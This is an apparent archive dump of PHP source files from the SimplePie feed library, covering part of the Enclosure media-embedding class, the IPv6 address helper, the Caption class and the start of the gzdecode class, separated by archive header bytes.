$channels; /** * @var SimplePie_Copyright * @see get_copyright() */ var $copyright; /** * @var array * @see get_credits() */ var $credits; /** * @var string * @see get_description() */ var $description; /** * @var int * @see get_duration() */ var $duration; /** * @var string * @see get_expression() */ var $expression; /** * @var string * @see get_framerate() */ var $framerate; /** * @var string * @see get_handler() */ var $handler; /** * @var array * @see get_hashes() */ var $hashes; /** * @var string * @see get_height() */ var $height; /** * @deprecated * @var null */ var $javascript; /** * @var array * @see get_keywords() */ var $keywords; /** * @var string * @see get_language() */ var $lang; /** * @var string * @see get_length() */ var $length; /** * @var string * @see get_link() */ var $link; /** * @var string * @see get_medium() */ var $medium; /** * @var string * @see get_player() */ var $player; /** * @var array * @see get_ratings() */ var $ratings; /** * @var array * @see get_restrictions() */ var $restrictions; /** * @var string * @see get_sampling_rate() */ var $samplingrate; /** * @var array * @see get_thumbnails() */ var $thumbnails; /** * @var string * @see get_title() */ var $title; /** * @var string * @see get_type() */ var $type; /** * @var string * @see get_width() */ var $width; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors * * @uses idna_convert If available, this will convert an IDN */ public function __construct($link = null, $type = null, $length = null, $javascript = null, $bitrate = null, $captions = null, $categories = null, $channels = null, $copyright = null, $credits = null, $description = null, $duration = null, $expression = null, $framerate = null, $hashes = null, $height = null, $keywords = null, $lang = null, $medium = null, $player = null, $ratings = null, $restrictions = null, $samplingrate = null, $thumbnails = null, $title = null, $width = null) { $this->bitrate = $bitrate; $this->captions = $captions; $this->categories = $categories; $this->channels = $channels; $this->copyright = $copyright; $this->credits = $credits; $this->description = $description; $this->duration = $duration; $this->expression = $expression; $this->framerate = $framerate; $this->hashes = $hashes; $this->height = $height; $this->keywords = $keywords; $this->lang = $lang; $this->length = $length; $this->link = $link; $this->medium = $medium; $this->player = $player; $this->ratings = $ratings; $this->restrictions = $restrictions; $this->samplingrate = $samplingrate; $this->thumbnails = $thumbnails; $this->title = $title; $this->type = $type; $this->width = $width; if (class_exists('idna_convert')) { $idn = new idna_convert(); $parsed = SimplePie_Misc::parse_url($link); $this->link = SimplePie_Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']); } $this->handler = $this->get_handler(); // Needs to load last } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the bitrate * * @return string|null */ public function get_bitrate() { if ($this->bitrate !== null) { return $this->bitrate; } else { return null; } } /** * Get a single caption * * @param int $key * @return SimplePie_Caption|null */ public function get_caption($key = 0) { $captions = $this->get_captions(); if (isset($captions[$key])) { return $captions[$key]; } else { return null; } } /** * Get all captions * * @return array|null Array of {@see SimplePie_Caption} objects */ public function get_captions() { if ($this->captions !== null) { return $this->captions; } else { return null; } } /** * Get a single category * * @param int $key * @return SimplePie_Category|null */ public function get_category($key = 0) { $categories = $this->get_categories(); if (isset($categories[$key])) { return $categories[$key]; } else { return null; } } /** * Get all categories * * @return array|null Array of {@see SimplePie_Category} objects */ public function get_categories() { if ($this->categories !== null) { return $this->categories; } else { return null; } } /** * Get the number of audio channels * * @return int|null */ public function get_channels() { if ($this->channels !== null) { return $this->channels; } else { return null; } } /** * Get the copyright information * * @return SimplePie_Copyright|null */ public function get_copyright() { if ($this->copyright !== null) { return $this->copyright; } else { return null; } } /** * Get a single credit * * @param int $key * @return SimplePie_Credit|null */ public function get_credit($key = 0) { $credits = $this->get_credits(); if (isset($credits[$key])) { return $credits[$key]; } else { return null; } } /** * Get all credits * * @return array|null Array of {@see SimplePie_Credit} objects */ public function get_credits() { if ($this->credits !== null) { return $this->credits; } else { return null; } } /** * Get the description of the enclosure * * @return string|null */ public function get_description() { if ($this->description !== null) { return $this->description; } else { return null; } } /** * Get the duration of the enclosure * * @param string $convert Convert seconds into hh:mm:ss * @return string|int|null 'hh:mm:ss' string if `$convert` was specified, otherwise integer (or null if none found) */ public function get_duration($convert = false) { if ($this->duration !== null) { if ($convert) { $time = SimplePie_Misc::time_hms($this->duration); return $time; } else { return $this->duration; } } else { return null; } } /** * Get the expression * * @return string Probably one of 'sample', 'full', 'nonstop', 'clip'. Defaults to 'full' */ public function get_expression() { if ($this->expression !== null) { return $this->expression; } else { return 'full'; } } /** * Get the file extension * * @return string|null */ public function get_extension() { if ($this->link !== null) { $url = SimplePie_Misc::parse_url($this->link); if ($url['path'] !== '') { return pathinfo($url['path'], PATHINFO_EXTENSION); } } return null; } /** * Get the framerate (in frames-per-second) * * @return string|null */ public function get_framerate() { if ($this->framerate !== null) { return $this->framerate; } else { return null; } } /** * Get the preferred handler * * @return string|null One of 'flash', 'fmedia', 'quicktime', 'wmedia', 'mp3' */ public function get_handler() { return $this->get_real_type(true); } /** * Get a single hash * * @link http://www.rssboard.org/media-rss#media-hash * @param int $key * @return string|null Hash as per `media:hash`, prefixed with "$algo:" */ public function get_hash($key = 0) { $hashes = $this->get_hashes(); if (isset($hashes[$key])) { return $hashes[$key]; } else { return null; } } /** * Get all credits * * @return array|null Array of strings, see {@see get_hash()} */ public function get_hashes() { if ($this->hashes !== null) { return $this->hashes; } else { return null; } } /** * Get the height * * @return string|null */ public function get_height() { if ($this->height !== null) { return $this->height; } else { return null; } } /** * Get the language * * @link http://tools.ietf.org/html/rfc3066 * @return string|null Language code as per RFC 3066 */ public function get_language() { if ($this->lang !== null) { return $this->lang; } else { return null; } } /** * Get a single keyword * * @param int $key * @return string|null */ public function get_keyword($key = 0) { $keywords = $this->get_keywords(); if (isset($keywords[$key])) { return $keywords[$key]; } else { return null; } } /** * Get all keywords * * @return array|null Array of strings */ public function get_keywords() { if ($this->keywords !== null) { return $this->keywords; } else { return null; } } /** * Get length * * @return float Length in bytes */ public function get_length() { if ($this->length !== null) { return $this->length; } else { return null; } } /** * Get the URL * * @return string|null */ public function get_link() { if ($this->link !== null) { return urldecode($this->link); } else { return null; } } /** * Get the medium * * @link http://www.rssboard.org/media-rss#media-content * @return string|null Should be one of 'image', 'audio', 'video', 'document', 'executable' */ public function get_medium() { if ($this->medium !== null) { return $this->medium; } else { return null; } } /** * Get the player URL * * Typically the same as {@see get_permalink()} * @return string|null Player URL */ public function get_player() { if ($this->player !== null) { return $this->player; } else { return null; } } /** * Get a single rating * * @param int $key * @return SimplePie_Rating|null */ public function get_rating($key = 0) { $ratings = $this->get_ratings(); if (isset($ratings[$key])) { return $ratings[$key]; } else { return null; } } /** * Get all ratings * * @return array|null Array of {@see SimplePie_Rating} objects */ public function get_ratings() { if ($this->ratings !== null) { return $this->ratings; } else { return null; } } /** * Get a single restriction * * @param int $key * @return SimplePie_Restriction|null */ public function get_restriction($key = 0) { $restrictions = $this->get_restrictions(); if (isset($restrictions[$key])) { return $restrictions[$key]; } else { return null; } } /** * Get all restrictions * * @return array|null Array of {@see SimplePie_Restriction} objects */ public function get_restrictions() { if ($this->restrictions !== null) { return $this->restrictions; } else { return null; } } /** * Get the sampling rate (in kHz) * * @return string|null */ public function get_sampling_rate() { if ($this->samplingrate !== null) { return $this->samplingrate; } else { return null; } } /** * Get the file size (in MiB) * * @return float|null File size in mebibytes (1048 bytes) */ public function get_size() { $length = $this->get_length(); if ($length !== null) { return round($length/1048576, 2); } else { return null; } } /** * Get a single thumbnail * * @param int $key * @return string|null Thumbnail URL */ public function get_thumbnail($key = 0) { $thumbnails = $this->get_thumbnails(); if (isset($thumbnails[$key])) { return $thumbnails[$key]; } else { return null; } } /** * Get all thumbnails * * @return array|null Array of thumbnail URLs */ public function get_thumbnails() { if ($this->thumbnails !== null) { return $this->thumbnails; } else { return null; } } /** * Get the title * * @return string|null */ public function get_title() { if ($this->title !== null) { return $this->title; } else { return null; } } /** * Get mimetype of the enclosure * * @see get_real_type() * @return string|null MIME type */ public function get_type() { if ($this->type !== null) { return $this->type; } else { return null; } } /** * Get the width * * @return string|null */ public function get_width() { if ($this->width !== null) { return $this->width; } else { return null; } } /** * Embed the enclosure using `<embed>` * * @deprecated Use the second parameter to {@see embed} instead * * @param array|string $options See first paramter to {@see embed} * @return string HTML string to output */ public function native_embed($options='') { return $this->embed($options, true); } /** * Embed the enclosure using Javascript * * `$options` is an array or comma-separated key:value string, with the * following properties: * * - `alt` (string): Alternate content for when an end-user does not have * the appropriate handler installed or when a file type is * unsupported. Can be any text or HTML. Defaults to blank. * - `altclass` (string): If a file type is unsupported, the end-user will * see the alt text (above) linked directly to the content. That link * will have this value as its class name. Defaults to blank. * - `audio` (string): This is an image that should be used as a * placeholder for audio files before they're loaded (QuickTime-only). * Can be any relative or absolute URL. Defaults to blank. * - `bgcolor` (string): The background color for the media, if not * already transparent. Defaults to `#ffffff`. * - `height` (integer): The height of the embedded media. Accepts any * numeric pixel value (such as `360`) or `auto`. Defaults to `auto`, * and it is recommended that you use this default. * - `loop` (boolean): Do you want the media to loop when its done? * Defaults to `false`. * - `mediaplayer` (string): The location of the included * `mediaplayer.swf` file. This allows for the playback of Flash Video * (`.flv`) files, and is the default handler for non-Odeo MP3's. * Defaults to blank. * - `video` (string): This is an image that should be used as a * placeholder for video files before they're loaded (QuickTime-only). * Can be any relative or absolute URL. Defaults to blank. * - `width` (integer): The width of the embedded media. Accepts any * numeric pixel value (such as `480`) or `auto`. Defaults to `auto`, * and it is recommended that you use this default. * - `widescreen` (boolean): Is the enclosure widescreen or standard? * This applies only to video enclosures, and will automatically resize * the content appropriately. Defaults to `false`, implying 4:3 mode. * * Note: Non-widescreen (4:3) mode with `width` and `height` set to `auto` * will default to 480x360 video resolution. Widescreen (16:9) mode with * `width` and `height` set to `auto` will default to 480x270 video resolution. * * @todo If the dimensions for media:content are defined, use them when width/height are set to 'auto'. * @param array|string $options Comma-separated key:value list, or array * @param bool $native Use `<embed>` * @return string HTML string to output */ public function embed($options = '', $native = false) { // Set up defaults $audio = ''; $video = ''; $alt = ''; $altclass = ''; $loop = 'false'; $width = 'auto'; $height = 'auto'; $bgcolor = '#ffffff'; $mediaplayer = ''; $widescreen = false; $handler = $this->get_handler(); $type = $this->get_real_type(); // Process options and reassign values as necessary if (is_array($options)) { extract($options); } else { $options = explode(',', $options); foreach($options as $option) { $opt = explode(':', $option, 2); if (isset($opt[0], $opt[1])) { $opt[0] = trim($opt[0]); $opt[1] = trim($opt[1]); switch ($opt[0]) { case 'audio': $audio = $opt[1]; break; case 'video': $video = $opt[1]; break; case 'alt': $alt = $opt[1]; break; case 'altclass': $altclass = $opt[1]; break; case 'loop': $loop = $opt[1]; break; case 'width': $width = $opt[1]; break; case 'height': $height = $opt[1]; break; case 'bgcolor': $bgcolor = $opt[1]; break; case 'mediaplayer': $mediaplayer = $opt[1]; break; case 'widescreen': $widescreen = $opt[1]; break; } } } } $mime = explode('/', $type, 2); $mime = $mime[0]; // Process values for 'auto' if ($width === 'auto') { if ($mime === 'video') { if ($height === 'auto') { $width = 480; } elseif ($widescreen) { $width = round((intval($height)/9)*16); } else { $width = round((intval($height)/3)*4); } } else { $width = '100%'; } } if ($height === 'auto') { if ($mime === 'audio') { $height = 0; } elseif ($mime === 'video') { if ($width === 'auto') { if ($widescreen) { $height = 270; } else { $height = 360; } } elseif ($widescreen) { $height = round((intval($width)/16)*9); } else { $height = round((intval($width)/4)*3); } } else { $height = 376; } } elseif ($mime === 'audio') { $height = 0; } // Set proper placeholder value if ($mime === 'audio') { $placeholder = $audio; } elseif ($mime === 'video') { $placeholder = $video; } $embed = ''; // Flash if ($handler === 'flash') { if ($native) { $embed .= "<embed src=\"" . $this->get_link() . "\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"$type\" quality=\"high\" width=\"$width\" height=\"$height\" bgcolor=\"$bgcolor\" loop=\"$loop\"></embed>"; } else { $embed .= "<script type='text/javascript'>embed_flash('$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$loop', '$type');</script>"; } } // Flash Media Player file types. // Preferred handler for MP3 file types. elseif ($handler === 'fmedia' || ($handler === 'mp3' && $mediaplayer !== '')) { $height += 20; if ($native) { $embed .= "<embed src=\"$mediaplayer\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" quality=\"high\" width=\"$width\" height=\"$height\" wmode=\"transparent\" flashvars=\"file=" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "&autostart=false&repeat=$loop&showdigits=true&showfsbutton=false\"></embed>"; } else { $embed .= "<script type='text/javascript'>embed_flv('$width', '$height', '" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "', '$placeholder', '$loop', '$mediaplayer');</script>"; } } // QuickTime 7 file types. Need to test with QuickTime 6. // Only handle MP3's if the Flash Media Player is not present. elseif ($handler === 'quicktime' || ($handler === 'mp3' && $mediaplayer === '')) { $height += 16; if ($native) { if ($placeholder !== '') { $embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" href=\"" . $this->get_link() . "\" src=\"$placeholder\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"false\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>"; } else { $embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" src=\"" . $this->get_link() . "\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"true\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>"; } } else { $embed .= "<script type='text/javascript'>embed_quicktime('$type', '$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$placeholder', '$loop');</script>"; } } // Windows Media elseif ($handler === 'wmedia') { $height += 45; if ($native) { $embed .= "<embed type=\"application/x-mplayer2\" src=\"" . $this->get_link() . "\" autosize=\"1\" width=\"$width\" height=\"$height\" showcontrols=\"1\" showstatusbar=\"0\" showdisplay=\"0\" autostart=\"0\"></embed>"; } else { $embed .= "<script type='text/javascript'>embed_wmedia('$width', '$height', '" . $this->get_link() . "');</script>"; } } // Everything else else $embed .= '<a href="' . $this->get_link() . '" class="' . $altclass . '">' . $alt . '</a>'; return $embed; } /** * Get the real media type * * Often, feeds lie to us, necessitating a bit of deeper inspection. This * converts types to their canonical representations based on the file * extension * * @see get_type() * @param bool $find_handler Internal use only, use {@see get_handler()} instead * @return string MIME type */ public function get_real_type($find_handler = false) { // Mime-types by handler. $types_flash = array('application/x-shockwave-flash', 'application/futuresplash'); // Flash $types_fmedia = array('video/flv', 'video/x-flv','flv-application/octet-stream'); // Flash Media Player $types_quicktime = array('audio/3gpp', 'audio/3gpp2', 'audio/aac', 'audio/x-aac', 'audio/aiff', 'audio/x-aiff', 'audio/mid', 'audio/midi', 'audio/x-midi', 'audio/mp4', 'audio/m4a', 'audio/x-m4a', 'audio/wav', 'audio/x-wav', 'video/3gpp', 'video/3gpp2', 'video/m4v', 'video/x-m4v', 'video/mp4', 'video/mpeg', 'video/x-mpeg', 'video/quicktime', 'video/sd-video'); // QuickTime $types_wmedia = array('application/asx', 'application/x-mplayer2', 'audio/x-ms-wma', 'audio/x-ms-wax', 'video/x-ms-asf-plugin', 'video/x-ms-asf', 'video/x-ms-wm', 'video/x-ms-wmv', 'video/x-ms-wvx'); // Windows Media $types_mp3 = array('audio/mp3', 'audio/x-mp3', 'audio/mpeg', 'audio/x-mpeg'); // MP3 if ($this->get_type() !== null) { $type = strtolower($this->type); } else { $type = null; } // If we encounter an unsupported mime-type, check the file extension and guess intelligently. if (!in_array($type, array_merge($types_flash, $types_fmedia, $types_quicktime, $types_wmedia, $types_mp3))) { switch (strtolower($this->get_extension())) { // Audio mime-types case 'aac': case 'adts': $type = 'audio/acc'; break; case 'aif': case 'aifc': case 'aiff': case 'cdda': $type = 'audio/aiff'; break; case 'bwf': $type = 'audio/wav'; break; case 'kar': case 'mid': case 'midi': case 'smf': $type = 'audio/midi'; break; case 'm4a': $type = 'audio/x-m4a'; break; case 'mp3': case 'swa': $type = 'audio/mp3'; break; case 'wav': $type = 'audio/wav'; break; case 'wax': $type = 'audio/x-ms-wax'; break; case 'wma': $type = 'audio/x-ms-wma'; break; // Video mime-types case '3gp': case '3gpp': $type = 'video/3gpp'; break; case '3g2': case '3gp2': $type = 'video/3gpp2'; break; case 'asf': $type = 'video/x-ms-asf'; break; case 'flv': $type = 'video/x-flv'; break; case 'm1a': case 'm1s': case 'm1v': case 'm15': case 'm75': case 'mp2': case 'mpa': case 'mpeg': case 'mpg': case 'mpm': case 'mpv': $type = 'video/mpeg'; break; case 'm4v': $type = 'video/x-m4v'; break; case 'mov': case 'qt': $type = 'video/quicktime'; break; case 'mp4': case 'mpg4': $type = 'video/mp4'; break; case 'sdv': $type = 'video/sd-video'; break; case 'wm': $type = 'video/x-ms-wm'; break; case 'wmv': $type = 'video/x-ms-wmv'; break; case 'wvx': $type = 'video/x-ms-wvx'; break; // Flash mime-types case 'spl': $type = 'application/futuresplash'; break; case 'swf': $type = 'application/x-shockwave-flash'; break; } } if ($find_handler) { if (in_array($type, $types_flash)) { return 'flash'; } elseif (in_array($type, $types_fmedia)) { return 'fmedia'; } elseif (in_array($type, $types_quicktime)) { return 'quicktime'; } elseif (in_array($type, $types_wmedia)) { return 'wmedia'; } elseif (in_array($type, $types_mp3)) { return 'mp3'; } else { return null; } } else { return $type; } } } PKÜ�\�AOO��9vendor/simplepie/simplepie/library/SimplePie/Net/IPv6.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Class to validate and to work with IPv6 addresses. * * @package SimplePie * @subpackage HTTP * @copyright 2003-2005 The PHP Group * @license http://www.opensource.org/licenses/bsd-license.php * @link http://pear.php.net/package/Net_IPv6 * @author Alexander Merz <alexander.merz@web.de> * @author elfrink at introweb dot nl * @author Josh Peck <jmp at joshpeck dot org> * @author Geoffrey Sneddon <geoffers@gmail.com> */ class SimplePie_Net_IPv6 { /** * Uncompresses an IPv6 address * * RFC 4291 allows you to compress concecutive zero pieces in an address to * '::'. This method expects a valid IPv6 address and expands the '::' to * the required number of zero pieces. * * Example: FF01::101 -> FF01:0:0:0:0:0:0:101 * ::1 -> 0:0:0:0:0:0:0:1 * * @author Alexander Merz <alexander.merz@web.de> * @author elfrink at introweb dot nl * @author Josh Peck <jmp at joshpeck dot org> * @copyright 2003-2005 The PHP Group * @license http://www.opensource.org/licenses/bsd-license.php * @param string $ip An IPv6 address * @return string The uncompressed IPv6 address */ public static function uncompress($ip) { $c1 = -1; $c2 = -1; if (substr_count($ip, '::') === 1) { list($ip1, $ip2) = explode('::', $ip); if ($ip1 === '') { $c1 = -1; } else { $c1 = substr_count($ip1, ':'); } if ($ip2 === '') { $c2 = -1; } else { $c2 = substr_count($ip2, ':'); } if (strpos($ip2, '.') !== false) { $c2++; } // :: if ($c1 === -1 && $c2 === -1) { $ip = '0:0:0:0:0:0:0:0'; } // ::xxx else if ($c1 === -1) { $fill = str_repeat('0:', 7 - $c2); $ip = str_replace('::', $fill, $ip); } // xxx:: else if ($c2 === -1) { $fill = str_repeat(':0', 7 - $c1); $ip = str_replace('::', $fill, $ip); } // xxx::xxx else { $fill = ':' . str_repeat('0:', 6 - $c2 - $c1); $ip = str_replace('::', $fill, $ip); } } return $ip; } /** * Compresses an IPv6 address * * RFC 4291 allows you to compress concecutive zero pieces in an address to * '::'. This method expects a valid IPv6 address and compresses consecutive * zero pieces to '::'. * * Example: FF01:0:0:0:0:0:0:101 -> FF01::101 * 0:0:0:0:0:0:0:1 -> ::1 * * @see uncompress() * @param string $ip An IPv6 address * @return string The compressed IPv6 address */ public static function compress($ip) { // Prepare the IP to be compressed $ip = self::uncompress($ip); $ip_parts = self::split_v6_v4($ip); // Replace all leading zeros $ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]); // Find bunches of zeros if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) { $max = 0; $pos = null; foreach ($matches[0] as $match) { if (strlen($match[0]) > $max) { $max = strlen($match[0]); $pos = $match[1]; } } $ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max); } if ($ip_parts[1] !== '') { return implode(':', $ip_parts); } else { return $ip_parts[0]; } } /** * Splits an IPv6 address into the IPv6 and IPv4 representation parts * * RFC 4291 allows you to represent the last two parts of an IPv6 address * using the standard IPv4 representation * * Example: 0:0:0:0:0:0:13.1.68.3 * 0:0:0:0:0:FFFF:129.144.52.38 * * @param string $ip An IPv6 address * @return array [0] contains the IPv6 represented part, and [1] the IPv4 represented part */ private static function split_v6_v4($ip) { if (strpos($ip, '.') !== false) { $pos = strrpos($ip, ':'); $ipv6_part = substr($ip, 0, $pos); $ipv4_part = substr($ip, $pos + 1); return array($ipv6_part, $ipv4_part); } else { return array($ip, ''); } } /** * Checks an IPv6 address * * Checks if the given IP is a valid IPv6 address * * @param string $ip An IPv6 address * @return bool true if $ip is a valid IPv6 address */ public static function check_ipv6($ip) { $ip = self::uncompress($ip); list($ipv6, $ipv4) = self::split_v6_v4($ip); $ipv6 = explode(':', $ipv6); $ipv4 = explode('.', $ipv4); if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) { foreach ($ipv6 as $ipv6_part) { // The section can't be empty if ($ipv6_part === '') return false; // Nor can it be over four characters if (strlen($ipv6_part) > 4) return false; // Remove leading zeros (this is safe because of the above) $ipv6_part = ltrim($ipv6_part, '0'); if ($ipv6_part === '') $ipv6_part = '0'; // Check the value is valid $value = hexdec($ipv6_part); if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF) return false; } if (count($ipv4) === 4) { foreach ($ipv4 as $ipv4_part) { $value = (int) $ipv4_part; if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) return false; } } return true; } else { return false; } } /** * Checks if the given IP is a valid IPv6 address * * @codeCoverageIgnore * @deprecated Use {@see SimplePie_Net_IPv6::check_ipv6()} instead * @see check_ipv6 * @param string $ip An IPv6 address * @return bool true if $ip is a valid IPv6 address */ public static function checkIPv6($ip) { return self::check_ipv6($ip); } } PKÜ�\_�)���8vendor/simplepie/simplepie/library/SimplePie/Caption.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Handles `<media:text>` captions as defined in Media RSS. * * Used by {@see SimplePie_Enclosure::get_caption()} and {@see SimplePie_Enclosure::get_captions()} * * This class can be overloaded with {@see SimplePie::set_caption_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Caption { /** * Content type * * @var string * @see get_type() */ var $type; /** * Language * * @var string * @see get_language() */ var $lang; /** * Start time * * @var string * @see get_starttime() */ var $startTime; /** * End time * * @var string * @see get_endtime() */ var $endTime; /** * Caption text * * @var string * @see get_text() */ var $text; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($type = null, $lang = null, $startTime = null, $endTime = null, $text = null) { $this->type = $type; $this->lang = $lang; $this->startTime = $startTime; $this->endTime = $endTime; $this->text = $text; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the end time * * @return string|null Time in the format 'hh:mm:ss.SSS' */ public function get_endtime() { if ($this->endTime !== null) { return $this->endTime; } else { return null; } } /** * Get the language * * @link http://tools.ietf.org/html/rfc3066 * @return string|null Language code as per RFC 3066 */ public function get_language() { if ($this->lang !== null) { return $this->lang; } else { return null; } } /** * Get the start time * * @return string|null Time in the format 'hh:mm:ss.SSS' */ public function get_starttime() { if ($this->startTime !== null) { return $this->startTime; } else { return null; } } /** * Get the text of the caption * * @return string|null */ public function get_text() { if ($this->text !== null) { return $this->text; } else { return null; } } /** * Get the content type (not MIME type) * * @return string|null Either 'text' or 'html' */ public function get_type() { if ($this->type !== null) { return $this->type; } else { return null; } } } PKÜ�\���j!j!9vendor/simplepie/simplepie/library/SimplePie/gzdecode.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Decode 'gzip' encoded HTTP data * * @package SimplePie * @subpackage HTTP * @link http://www.gzip.org/format.txt */ class SimplePie_gzdecode { /** * Compressed data * * @access private * @var string * @see gzdecode::$data */ var 